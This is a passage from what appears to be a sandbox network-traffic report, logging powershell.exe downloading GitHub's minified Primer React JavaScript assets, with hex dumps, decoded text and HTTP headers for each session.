2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 6c 65 6d 65 6e 74 28 62 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 7b 76 61 72 69 61 6e 74 3a 65 2c 73 65 6c 65 63 74 69 6f 6e 56 61 72 69 61 6e 74 3a 74 7c 7c 79 2c 73 68 6f 77 44 69 76 69 64 65 72 73 3a 69 2c 72 6f 6c 65 3a 4c 2c 68 65 61 64 69 6e 67 49 64 3a 76 7d 7d 2c 67 2e 68 65 61 64 69 6e 67 2c 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 44 2c 6b 28 7b 73 78 3a 63 28 29 28 7b 6d 61 72 67 69 6e 3a 30 2c 70 61 64 64 69 6e 67 49 6e 6c 69 6e 65 53 74 61 72 74 3a 30 2c 70 61 64 64 69 6e 67 59 3a 22 69 6e 73 65 74 22 3d 3d 3d 65 3f 32 3a 30 7d 2c 6f 29 2c 72 6f 6c 65 3a 4c 2c 22 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 3a 49 7d 2c 73 2c 7b 72 65 66 3a 6a 7d 29 2c 66 29 29 7d 29 3b 45 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 41 63 74 Data Ascii: lement(b.Provider,{value:{variant:e,selectionVariant:t\|\|y,showDividers:i,role:L,headingId:v}},g.heading,n.createElement(D,k({sx:c()({margin:0,paddingInlineStart:0,paddingY:"inset"===e?2:0},o),role:L,"aria-labelledby":I},s,{ref:j}),f))});E.displayName="Act
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 7c 6d 26 26 22 67 72 6f 75 70 22 7d 2c 67 2e 67 72 6f 75 70 48 65 61 64 69 6e 67 3f 66 3a 6c 2e 63 68 69 6c 64 72 65 6e 29 29 29 7d 3b 4e 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 47 72 6f 75 70 22 3b 6c 65 74 20 4f 3d 28 7b 61 73 3a 65 2c 76 61 72 69 61 6e 74 3a 74 2c 5f 69 6e 74 65 72 6e 61 6c 42 61 63 6b 77 61 72 64 43 6f 6d 70 61 74 69 62 6c 65 54 69 74 6c 65 3a 69 2c 61 75 78 69 6c 69 61 72 79 54 65 78 74 3a 61 2c 63 68 69 6c 64 72 65 6e 3a 6f 2c 73 78 3a 72 3d 6c 2e 45 2c 2e 2e 2e 64 7d 29 3d 3e 7b 6c 65 74 7b 76 61 72 69 61 6e 74 3a 73 2c 72 6f 6c 65 3a 70 7d 3d 6e 2e 75 73 65 43 6f 6e 74 65 78 74 28 62 29 2c 7b 67 72 6f 75 70 48 65 61 64 69 6e 67 49 64 3a 75 7d 3d 6e 2e 75 73 65 43 6f 6e 74 65 78 74 28 6a 29 2c 67 3d 28 76 6f 69 64 20 30 3d 3d 3d Data Ascii: \|m&&"group"},g.groupHeading?f:l.children)))};N.displayName="Group";let O=({as:e,variant:t,_internalBackwardCompatibleTitle:i,auxiliaryText:a,children:o,sx:r=l.E,...d})=>{let{variant:s,role:p}=n.useContext(b),{groupHeadingId:u}=n.useContext(j),g=(void 0===
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 6f 6e 22 5d 27 3a 7b 63 6f 6c 6f 72 3a 22 69 6e 68 65 72 69 74 22 7d 7d 2c 7b 62 6c 6f 63 6b 44 65 73 63 72 69 70 74 69 6f 6e 49 64 3a 6f 2c 69 6e 6c 69 6e 65 44 65 73 63 72 69 70 74 69 6f 6e 49 64 3a 72 7d 3d 6e 2e 75 73 65 43 6f 6e 74 65 78 74 28 67 29 3b 72 65 74 75 72 6e 22 62 6c 6f 63 6b 22 3d 3d 3d 65 3f 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 49 2e 41 2c 7b 61 73 3a 22 73 70 61 6e 22 2c 73 78 3a 63 28 29 28 61 2c 74 29 2c 69 64 3a 6f 2c 22 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 41 63 74 69 6f 6e 4c 69 73 74 2e 44 65 73 63 72 69 70 74 69 6f 6e 22 7d 2c 69 2e 63 68 69 6c 64 72 65 6e 29 3a 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 7a 2e 41 2c 7b 69 64 3a 72 2c 73 78 3a 63 28 29 28 61 2c 74 29 2c 74 69 74 6c 65 3a 69 2e 63 68 Data Ascii: on"]':{color:"inherit"}},{blockDescriptionId:o,inlineDescriptionId:r}=n.useContext(g);return"block"===e?n.createElement(I.A,{as:"span",sx:c()(a,t),id:o,"data-component":"ActionList.Description"},i.children):n.createElement(z.A,{id:r,sx:c()(a,t),title:i.ch
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 6f 6c 6f 72 3a 66 28 69 2c 61 2c 6f 29 2e 61 6e 6e 6f 74 61 74 69 6f 6e 43 6f 6c 6f 72 2c 6d 61 72 67 69 6e 4c 65 66 74 3a 32 2c 66 6f 6e 74 57 65 69 67 68 74 3a 22 69 6e 69 74 69 61 6c 22 2c 27 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 22 64 61 6e 67 65 72 22 5d 3a 68 6f 76 65 72 20 26 2c 20 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 22 64 61 6e 67 65 72 22 5d 3a 61 63 74 69 76 65 20 26 27 3a 7b 63 6f 6c 6f 72 3a 66 28 69 2c 61 2c 6f 29 2e 68 6f 76 65 72 43 6f 6c 6f 72 7d 7d 2c 65 29 7d 2c 74 29 2c 74 2e 63 68 69 6c 64 72 65 6e 29 7d 3b 47 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 54 72 61 69 6c 69 6e 67 56 69 73 75 61 6c 22 3b 6c 65 74 20 57 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 2c 6c 61 62 65 6c 49 64 3a 74 2c 6c 6f 61 64 69 6e 67 3a 69 2c 69 6e 61 63 Data Ascii: olor:f(i,a,o).annotationColor,marginLeft:2,fontWeight:"initial",'[data-variant="danger"]:hover &, [data-variant="danger"]:active &':{color:f(i,a,o).hoverColor}},e)},t),t.children)};G.displayName="TrailingVisual";let W=({children:e,labelId:t,loading:i,inac
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 74 68 3a 22 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 2c 20 31 36 70 78 29 22 2c 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 65 3f 22 61 63 63 65 6e 74 2e 66 67 22 3a 22 63 61 6e 76 61 73 2e 64 65 66 61 75 6c 74 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 65 3f 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2c 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 38 30 6d 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 33 2c 20 31 2c 20 30 2e 36 38 2c 20 31 29 22 3a 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2c 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 38 30 6d 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 20 30 2c 20 30 2e 36 37 2c 20 30 29 20 30 6d 73 22 2c 22 3a 3a 62 65 66 6f 72 65 22 3a 7b 77 69 64 74 68 3a 22 76 61 72 Data Ascii: th:"var(--base-size-16, 16px)",backgroundColor:e?"accent.fg":"canvas.default",transition:e?"background-color, border-color 80ms cubic-bezier(0.33, 1, 0.68, 1)":"background-color, border-color 80ms cubic-bezier(0.32, 0, 0.67, 0) 0ms","::before":{width:"var
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 75 4d 44 55 77 4e 43 41 77 49 44 45 78 4c 6a 49 30 4f 54 55 67 4d 45 4d 78 4d 53 34 30 4e 44 67 31 49 44 41 67 4d 54 45 75 4e 6a 4d 35 4e 53 41 77 4c 6a 41 33 4f 44 6b 35 4d 6a 4d 67 4d 54 45 75 4e 7a 67 77 4d 79 41 77 4c 6a 49 78 4f 54 59 79 4e 56 6f 69 49 47 5a 70 62 47 77 39 49 6e 64 6f 61 58 52 6c 49 69 38 2b 43 6a 77 76 63 33 5a 6e 50 67 6f 3d 27 29 22 2c 6d 61 73 6b 53 69 7a 65 3a 22 37 35 25 22 2c 6d 61 73 6b 52 65 70 65 61 74 3a 22 6e 6f 2d 72 65 70 65 61 74 22 2c 6d 61 73 6b 50 6f 73 69 74 69 6f 6e 3a 22 63 65 6e 74 65 72 22 2c 61 6e 69 6d 61 74 69 6f 6e 3a 65 3f 22 63 68 65 63 6b 6d 61 72 6b 49 6e 20 38 30 6d 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 36 35 2c 20 30 2c 20 30 2e 33 35 2c 20 31 29 20 66 6f 72 77 61 72 64 73 20 38 30 6d 73 Data Ascii: uMDUwNCAwIDExLjI0OTUgMEMxMS40NDg1IDAgMTEuNjM5NSAwLjA3ODk5MjMgMTEuNzgwMyAwLjIxOTYyNVoiIGZpbGw9IndoaXRlIi8+Cjwvc3ZnPgo=')",maskSize:"75%",maskRepeat:"no-repeat",maskPosition:"center",animation:e?"checkmarkIn 80ms cubic-bezier(0.65, 0, 0.35, 1) forwards 80ms
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 4e 61 6d 65 3d 22 41 63 74 69 6f 6e 4c 69 73 74 2e 54 72 61 69 6c 69 6e 67 41 63 74 69 6f 6e 22 3b 76 61 72 20 46 3d 69 28 31 38 39 37 32 29 2c 51 3d 69 28 34 38 35 32 31 29 3b 66 75 6e 63 74 69 6f 6e 20 4b 28 29 7b 72 65 74 75 72 6e 28 4b 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 2e 62 69 6e 64 28 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 69 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 69 29 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 69 2c 6e 29 26 26 28 65 5b 6e 5d 3d 69 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 29 2e 61 70 70 Data Ascii: Name="ActionList.TrailingAction";var F=i(18972),Q=i(48521);function K(){return(K=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var n in i)({}).hasOwnProperty.call(i,n)&&(e[n]=i[n])}return e}).app
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 65 63 74 50 61 6e 65 6c 22 3d 3d 3d 50 3b 4f 2e 74 72 61 69 6c 69 6e 67 41 63 74 69 6f 6e 26 26 65 64 26 26 28 30 2c 78 2e 56 29 28 21 31 29 2c 22 6d 65 6e 75 69 74 65 6d 72 61 64 69 6f 22 3d 3d 3d 65 6c 7c 7c 22 6d 65 6e 75 69 74 65 6d 63 68 65 63 6b 62 6f 78 22 3d 3d 3d 65 6c 3f 45 3d 22 61 72 69 61 2d 63 68 65 63 6b 65 64 22 3a 22 6f 70 74 69 6f 6e 22 3d 3d 3d 65 6c 26 26 28 45 3d 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 29 3b 6c 65 74 20 65 73 3d 48 7c 7c 45 2c 65 63 3d 22 6c 69 73 74 62 6f 78 22 3d 3d 3d 58 7c 7c 22 6d 65 6e 75 22 3d 3d 3d 58 7c 7c 65 6e 7c 7c 22 4e 61 76 4c 69 73 74 22 3d 3d 3d 50 2c 65 70 3d 21 65 63 26 26 21 77 26 26 52 2c 7b 74 68 65 6d 65 3a 65 75 7d 3d 28 30 2c 54 2e 44 50 29 28 29 2c 65 6d 3d 7b 66 6f 6e 74 57 65 69 67 68 Data Ascii: ectPanel"===P;O.trailingAction&&ed&&(0,x.V)(!1),"menuitemradio"===el\|\|"menuitemcheckbox"===el?E="aria-checked":"option"===el&&(E="aria-selected");let es=H\|\|E,ec="listbox"===X\|\|"menu"===X\|\|en\|\|"NavList"===P,ep=!ec&&!w&&R,{theme:eu}=(0,T.DP)(),em={fontWeigh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49774	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:39 UTC	450	OUT	GET /assets/vendors-node_modules_primer_react_lib-esm_KeybindingHint_KeybindingHint_js-node_modules_githu-3fe5e5-779b0a7957e4.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:39 UTC	693	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9143 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 19 Sep 2024 22:11:32 GMT ETag: "0x8DCD8F804FD048E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 586266 Date: Mon, 30 Sep 2024 13:50:39 GMT X-Served-By: cache-iad-kjyo7100108-IAD, cache-ewr-kewr1740071-EWR X-Cache: HIT, HIT X-Cache-Hits: 25, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: e1e761404645188fcd0783bbbd84da6f74663dde
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 4b 65 79 62 69 6e 64 69 6e 67 48 69 6e 74 5f 4b 65 79 62 69 6e 64 69 6e 67 48 69 6e 74 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 2d 33 66 65 35 65 35 22 5d 2c 7b 38 37 38 34 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 55 3a 28 29 3d 3e 79 7d 29 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 2c 69 3d 6e 28 35 32 34 36 34 29 2c 6c 3d 6e 28 38 37 36 34 34 29 3b 6c 65 74 20 61 3d 28 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_KeybindingHint_KeybindingHint_js-node_modules_githu-3fe5e5"],{8784:(e,t,n)=>{n.d(t,{U:()=>y});var r=n(96540),i=n(52464),l=n(87644);let a=(
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 22 3a 22 62 61 63 6b 74 69 63 6b 22 2c 22 7e 22 3a 22 74 69 6c 64 65 22 2c 22 21 22 3a 22 65 78 63 6c 61 6d 61 74 69 6f 6e 20 70 6f 69 6e 74 22 2c 22 40 22 3a 22 61 74 22 2c 22 23 22 3a 22 68 61 73 68 22 2c 24 3a 22 64 6f 6c 6c 61 72 20 73 69 67 6e 22 2c 22 25 22 3a 22 70 65 72 63 65 6e 74 22 2c 22 5e 22 3a 22 63 61 72 65 74 22 2c 22 26 22 3a 22 61 6d 70 65 72 73 61 6e 64 22 2c 22 2a 22 3a 22 61 73 74 65 72 69 73 6b 22 2c 22 28 22 3a 22 6c 65 66 74 20 70 61 72 65 6e 74 68 65 73 69 73 22 2c 22 29 22 3a 22 72 69 67 68 74 20 70 61 72 65 6e 74 68 65 73 69 73 22 2c 5f 3a 22 75 6e 64 65 72 73 63 6f 72 65 22 2c 22 2d 22 3a 22 64 61 73 68 22 2c 22 2b 22 3a 22 70 6c 75 73 22 2c 22 3d 22 3a 22 65 71 75 61 6c 73 22 2c 22 5b 22 3a 22 6c 65 66 74 20 62 72 61 63 6b 65 Data Ascii: ":"backtick","~":"tilde","!":"exclamation point","@":"at","#":"hash",$:"dollar sign","%":"percent","^":"caret","&":"ampersand","*":"asterisk","(":"left parenthesis",")":"right parenthesis",_:"underscore","-":"dash","+":"plus","=":"equals","[":"left bracke
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 6f 77 3a 22 6e 6f 6e 65 22 2c 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3a 22 62 61 73 65 6c 69 6e 65 22 2c 6f 76 65 72 66 6c 6f 77 3a 22 68 69 64 64 65 6e 22 2c 6c 69 6e 65 48 65 69 67 68 74 3a 22 31 30 70 78 22 7d 7d 2c 67 28 65 29 2e 6d 61 70 28 28 65 2c 6e 29 3d 3e 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 72 2e 46 72 61 67 6d 65 6e 74 2c 7b 6b 65 79 3a 6e 7d 2c 6e 3e 30 26 26 22 66 75 6c 6c 22 3d 3d 3d 74 3f 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 22 61 72 69 61 2d 68 69 64 64 65 6e 22 3a 21 30 7d 2c 22 20 2b 20 22 29 3a 22 20 22 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 68 2c 7b 6e 61 6d 65 3a 65 2c 66 6f 72 6d 61 74 3a 74 7d 29 29 29 29 3b 77 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 43 68 6f 72 64 22 3b Data Ascii: ow:"none",verticalAlign:"baseline",overflow:"hidden",lineHeight:"10px"}},g(e).map((e,n)=>r.createElement(r.Fragment,{key:n},n>0&&"full"===t?r.createElement("span",{"aria-hidden":!0}," + "):" ",r.createElement(h,{name:e,format:t}))));w.displayName="Chord";
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 74 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 68 69 6c 64 72 65 6e 5b 65 5d 7d 69 6e 73 65 72 74 28 65 29 7b 6c 65 74 20 74 3d 74 68 69 73 3b 66 6f 72 28 6c 65 74 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 3d 31 29 7b 6c 65 74 20 72 3d 65 5b 6e 5d 2c 69 3d 74 2e 67 65 74 28 72 29 3b 69 66 28 6e 3d 3d 3d 65 2e 6c 65 6e 67 74 68 2d 31 29 72 65 74 75 72 6e 20 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 61 64 69 78 54 72 69 65 26 26 28 74 2e 64 65 6c 65 74 65 28 69 29 2c 69 3d 6e 75 6c 6c 29 2c 69 7c 7c 28 69 3d 6e 65 77 20 4c 65 61 66 28 74 29 2c 74 2e 63 68 69 6c 64 72 65 6e 5b 72 5d 3d 69 29 2c 69 3b 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 4c 65 61 66 26 26 28 69 3d 6e 75 6c 6c 29 2c 69 7c 7c 28 69 3d 6e 65 77 20 52 61 64 69 78 54 72 69 65 Data Ascii: t(e){return this.children[e]}insert(e){let t=this;for(let n=0;n<e.length;n+=1){let r=e[n],i=t.get(r);if(n===e.length-1)return i instanceof RadixTrie&&(t.delete(i),i=null),i\|\|(i=new Leaf(t),t.children[r]=i),i;i instanceof Leaf&&(i=null),i\|\|(i=new RadixTrie
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 36 34 22 3a 22 2c 22 2c 22 5c 75 32 32 36 35 22 3a 22 2e 22 2c 22 5c 78 66 37 22 3a 22 2f 22 2c 22 5c 78 62 38 22 3a 22 5a 22 2c 22 5c 75 30 32 44 42 22 3a 22 58 22 2c 22 5c 78 63 37 22 3a 22 43 22 2c 22 5c 75 32 35 43 41 22 3a 22 56 22 2c 5c 75 30 31 33 31 3a 22 42 22 2c 22 5c 75 30 32 44 43 22 3a 22 4e 22 2c 22 5c 78 63 32 22 3a 22 4d 22 2c 22 5c 78 61 66 22 3a 22 3c 22 2c 22 5c 75 30 32 44 38 22 3a 22 3e 22 2c 22 5c 78 62 66 22 3a 22 3f 22 7d 2c 69 3d 7b 22 60 22 3a 22 7e 22 2c 31 3a 22 21 22 2c 32 3a 22 40 22 2c 33 3a 22 23 22 2c 34 3a 22 24 22 2c 35 3a 22 25 22 2c 36 3a 22 5e 22 2c 37 3a 22 26 22 2c 38 3a 22 2a 22 2c 39 3a 22 28 22 2c 30 3a 22 29 22 2c 22 2d 22 3a 22 5f 22 2c 22 3d 22 3a 22 2b 22 2c 22 5b 22 3a 22 7b 22 2c 22 5d 22 3a 22 7d 22 2c 22 Data Ascii: 64":",","\u2265":".","\xf7":"/","\xb8":"Z","\u02DB":"X","\xc7":"C","\u25CA":"V",\u0131:"B","\u02DC":"N","\xc2":"M","\xaf":"<","\u02D8":">","\xbf":"?"},i={"`":"~",1:"!",2:"@",3:"#",4:"$",5:"%",6:"^",7:"&",8:"*",9:"(",0:")","-":"_","=":"+","[":"{","]":"}","
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 74 68 69 73 2e 74 69 6d 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6f 6e 52 65 73 65 74 3d 65 7d 67 65 74 20 70 61 74 68 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 70 61 74 68 7d 67 65 74 20 73 65 71 75 65 6e 63 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 70 61 74 68 2e 6a 6f 69 6e 28 22 20 22 29 7d 72 65 67 69 73 74 65 72 4b 65 79 70 72 65 73 73 28 65 29 7b 74 68 69 73 2e 5f 70 61 74 68 3d 5b 2e 2e 2e 74 68 69 73 2e 5f 70 61 74 68 2c 61 28 65 29 5d 2c 74 68 69 73 2e 73 74 61 72 74 54 69 6d 65 72 28 29 7d 72 65 73 65 74 28 29 7b 76 61 72 20 65 3b 74 68 69 73 2e 6b 69 6c 6c 54 69 6d 65 72 28 29 2c 74 68 69 73 2e 5f 70 61 74 68 3d 5b 5d 2c 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 6f 6e 52 65 73 65 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 7c 7c Data Ascii: this.timer=null,this.onReset=e}get path(){return this._path}get sequence(){return this._path.join(" ")}registerKeypress(e){this._path=[...this._path,a(e)],this.startTimer()}reset(){var e;this.killTimer(),this._path=[],null===(e=this.onReset)\|\|void 0===e\|\|
2024-09-30 13:50:39 UTC	875	IN	Data Raw: 68 6f 74 6b 65 79 2d 66 69 72 65 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 2c 64 65 74 61 69 6c 3a 7b 70 61 74 68 3a 74 7d 7d 29 3b 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 29 26 26 28 75 28 65 29 3f 65 2e 66 6f 63 75 73 28 29 3a 65 2e 63 6c 69 63 6b 28 29 29 7d 28 6e 2c 6d 2e 70 61 74 68 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 2c 6d 2e 72 65 73 65 74 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 77 28 65 2c 74 29 7b 30 3d 3d 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 68 2e 63 68 69 6c 64 72 65 6e 29 2e 6c 65 6e 67 74 68 26 26 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 67 29 3b 6c 65 74 20 6e 3d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 5b 5d 2c 6e Data Ascii: hotkey-fire",{cancelable:!0,detail:{path:t}});e.dispatchEvent(n)&&(u(e)?e.focus():e.click())}(n,m.path),e.preventDefault()),m.reset()}}function w(e,t){0===Object.keys(h.children).length&&document.addEventListener("keydown",g);let n=(function(e){let t=[],n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49775	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:39 UTC	450	OUT	GET /assets/vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-node_modules_primer_react_lib-esm_-34d71e-a36ca1cac968.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:39 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 24490 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 07:22:44 GMT ETag: "0x8DCDD32D973786E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:39 GMT Age: 453109 X-Served-By: cache-iad-kcgs7200139-IAD, cache-ewr-kewr1740041-EWR X-Cache: HIT, HIT X-Cache-Hits: 25, 80 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: f24272314747c5f430b6e1dce155c55442aaa7d4
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 44 69 61 6c 6f 67 5f 44 69 61 6c 6f 67 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 2d 33 34 64 37 31 65 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 53 70 69 6e 6e 65 72 5f 53 70 69 6e 6e 65 72 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-node_modules_primer_react_lib-esm_-34d71e","vendors-node_modules_primer_react_lib-esm_Spinner_Spinner_js-node_modules_git
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 2d 72 65 67 75 6c 61 72 3d 27 6c 65 66 74 27 5d 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 3b 7d 26 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 2d 72 65 67 75 6c 61 72 3d 27 72 69 67 68 74 27 5d 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 7d 2e 44 69 61 6c 6f 67 4f 76 65 72 66 6c 6f 77 57 72 61 70 70 65 72 7b 66 6c 65 78 2d 67 72 6f 77 3a 31 3b 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 26 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 2d 6e 61 72 72 6f 77 3d 27 63 65 6e 74 65 72 27 5d 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 Data Ascii: ition-regular='left']{align-items:center;justify-content:flex-start;}&[data-position-regular='right']{align-items:center;justify-content:flex-end;}.DialogOverflowWrapper{flex-grow:1;}@media (max-width:767px){&[data-position-narrow='center']{align-items:ce
